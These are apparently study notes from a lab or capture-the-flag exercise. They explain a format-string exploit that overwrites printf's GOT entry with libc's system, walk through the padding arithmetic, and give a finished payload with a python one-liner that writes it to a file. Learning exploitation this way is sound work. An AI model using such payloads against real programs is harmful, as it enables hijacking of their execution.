manual_exploit_notes.txt

# Need to overwrite 0x0804c00c (GOT.printf) with 0xf7dff040 (LIBC.system)

# It means writing 0xf7df (63455) @ 0x0804c00c + 2 = 0x0804c00e (high order)
# and 0xf040 (61504) @ 0x0804c00c (low order)

# Now, we have to figure out the value to set for the padding. Here is the formula :
[The value we want] - [The bytes alredy wrote] = [The value to set].

# Let’s start with the low order bytes :
It’ll will be 61504 - 8 = 61496, because we already wrote 8 bytes (the two 4 bytes addresses).

# Then, the high order bytes :
It’ll will be 63455 - 61504 = 1951, because we already wrote 61504 bytes (the two 4 bytes addresses and 61496 bytes from the previous writing).

# Now we can construct the exploit (note our write offset is %4 so we want [%4,%5] as offsets instead of [%7,%8]) :

It’ll be : \x0c\xc0\x04\x08\x0e\xc0\x04\x08%61496x%4$hn%1951x%5$hn. Let me explain :
    \x0c\xc0\x04\x08 or 0x0804c00c (in reverse order) points to the low order bytes.
    \x0e\xc0\x04\x08 or 0x0804c00e (in reverse order) points to the high order bytes.
    %61496x will write 61496 bytes on the standard output.
    %4$hn will write 8 + 61496 = 61504 bytes (or 0xf040) at the first address specified (0x0804c00c).
    %1951x will write 1951 bytes on the standard output.
    %5$hn will write 8 + 61496 + 1951 = 63455 (or 0xf7df) at the second address specified (0x0804c00e).

python2 -c 'print("\x0c\xc0\x04\x08\x0e\xc0\x04\x08%61496x%4$hn%1951x%5$hn")' > payload

* Based on excellent blogpost: https://axcheron.github.io/exploit-101-format-strings/